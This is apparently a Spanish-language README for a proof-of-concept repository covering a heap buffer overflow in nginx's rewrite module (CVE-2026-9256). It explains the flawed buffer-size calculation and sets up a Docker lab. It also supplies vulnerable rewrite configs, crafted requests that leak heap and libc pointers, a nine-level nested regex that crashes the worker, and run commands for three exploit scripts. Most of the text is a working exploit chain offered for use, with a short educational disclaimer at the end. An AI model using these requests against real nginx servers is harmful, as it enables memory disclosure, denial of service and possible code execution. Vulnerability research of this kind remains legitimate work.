
Demuestra el desbordamiento de búfer en el montón CVE-2026-9256 en el ngx_http_rewrite_module de nginx con scripts PoC para fugas de montón/libc y caída del worker.
nginx Plus y nginx Open Source ngx_http_rewrite_module contiene una vulnerabilidad de desbordamiento de búfer en el montón. Cuando una directiva rewrite utiliza una expresión regular con múltiples grupos de captura PCRE superpuestos (por ejemplo, ^/((.*))$) y una referencia de reemplazo que hace referencia a múltiples capturas (por ejemplo, $1&y=$2), el cálculo del tamaño del búfer de ruta estática subestima el espacio necesario, lo que provoca que la escritura real exceda el tamaño asignado (Pool Slip). Un atacante no autenticado puede desencadenar esto mediante una solicitud HTTP manipulada, lo que resulta en un desbordamiento de búfer en el montón en el proceso trabajador. Cuando ASLR está deshabilitado o se puede eludir, es posible la ejecución de código.
Archivo: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: escape overhead counted once for the entire URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length
}
}
Cada $N se escapa de forma independiente durante la copia (ngx_http_script.c:1397-1401). Las capturas anidadas hacen que la misma subcadena se escape dos veces, duplicando el costo de escape, pero la asignación solo lo considera una vez.
Fórmula de desbordamiento (anidamiento de 2 capas ((.+)), Q caracteres + en URI):
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (precisely controllable)
Condiciones de activación (se requieren las tres):
.
├── env/
│ ├── Dockerfile # Based on nginx:1.31.0
│ ├── docker-compose.yml # Container config (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR on (default)
│ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak)
│ └── nginx.conf # Vulnerable config
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
cd env/
# Pull base image (~200MB)
docker pull nginx:1.31.0
# Build and start
docker compose up --build -d
# Verify
curl -s http://127.0.0.1:19321/
# Expected: ok
# View nginx logs (crash info)
docker compose logs -f
# Stop and remove
docker compose down
# Restart (after crash)
docker compose restart
Verificar estado actual:
cat /proc/sys/kernel/randomize_va_space
# 0 = off, 1 = partial, 2 = full
heap_leak y crash_verify funcionan independientemente de ASLR. libc_leak requiere ASLR deshabilitado en el host:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Alternativamente, deshabilite ASLR solo para el proceso nginx (no se necesitan privilegios de host):
copie entrypoint_aslr_off.sh sobre entrypoint.sh, luego docker compose up --build -d.
Nota: los contenedores comparten el kernel del host.
randomize_va_spacedebe establecerse en el host.
Configuración requerida:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Mecanismo: Pool Slip hace que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) caiga en la zona de desbordamiento. Los campos inicializados del motor de script (e->ip, e->sp, e->request) se filtran en la cadena de consulta de la URI reescrita y se reflejan a través de return 200 "$arg_y".
Solicitud:
GET /echo/%25%25%25%25%25A HTTP/1.0
Resultado verificado (nginx:1.31.0, ASLR activado):
e->ip = 0x00006544dec82430 (config pool codes array)
e->sp = 0x00006544dec5ada0 (request pool script stack)
e->request = 0x00006544dec58880 (request struct)
Qué se filtra: Punteros sin procesar del montón dentro del espacio de direcciones del worker de nginx.
PoC: heap_leak.py
Configuración requerida:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # must be reachable
add_header X-Leak-Y "$arg_y" always;
}
Mecanismo: proxy_pass desencadena la inicialización del upstream. Las estructuras del upstream que contienen punteros a funciones de biblioteca se asignan en la zona de desbordamiento. add_header "$arg_y" escribe los bytes sin procesar en la cabecera de respuesta.
Solicitud:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Resultado verificado (nginx:1.31.0, ASLR desactivado, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
Qué se filtra: Un puntero sin procesar en el rango 0x7f... (región de carga de libc). Para calcular la base de libc, lea /proc/<pid>/maps en el objetivo y calcule leaked_ptr - libc_base.
Dependencia de ASLR: Esta etapa requiere ASLR desactivado. El puntero filtrado se origina en metadatos de un chunk liberado (fd/bk → main_arena). Con ASLR activado, el desplazamiento del chunk liberado varía y los desbordamientos pequeños no pueden alcanzarlo de manera confiable.
PoC: libc_leak.py
Alternativa más simple: Usando el modo
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), la cabeceraLocationexpone directamente los bytes sin procesar del desbordamiento sin problemas de codificación de caracteres. Una sola solicitud puede filtrar punteros del montón (Q=10~450) o provocar una caída (Q >= 500), sin necesidad de proxy_pass ni pool_size especial.
Configuración requerida:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Mecanismo: El anidamiento de 9 capas produce un desbordamiento = 16Q (frente a 2Q para 2 capas). Con request_pool_size=7920, Q=123 sale del límite del bloque del pool, sobrescribiendo los metadatos del chunk malloc adyacente. glibc detecta la corrupción y termina el worker. El maestro se reinicia automáticamente.
Solicitud:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Resultado verificado (nginx:1.31.0, request_pool_size=7920):
Q=122: normal response (overflow=1952B)
Q=123: no response, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.
Anidamiento vs pool_size: N capas producen desbordamiento = (N-1)*2*Q. El pool_size predeterminado de 4096 con anidamiento de 9 capas es suficiente para causar una caída. Un pool_size mayor requiere menos capas para un Q dado.
PoC: crash_verify.py
# Stage 1: Heap pointer leak
python3 heap_leak.py 127.0.0.1 19321
# Stage 2: libc-range pointer leak (requires ASLR off)
python3 libc_leak.py 127.0.0.1 19321
# Stage 3: DoS crash
python3 crash_verify.py 127.0.0.1 19321
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso no autorizado está prohibido.
| Condición | Detalle |
|---|
Sin variables nombradas, sin $N duplicado | Ruta estática (sc.variables==0 && !sc.dup_capture) |
| Grupo de captura anidado en la expresión regular | p. ej. ((.+)) hace que $1 y $2 coincidan con el mismo contenido |
+ o %XX en la URI | Activa la ruta de escape (plus_in_uri o quoted_uri) |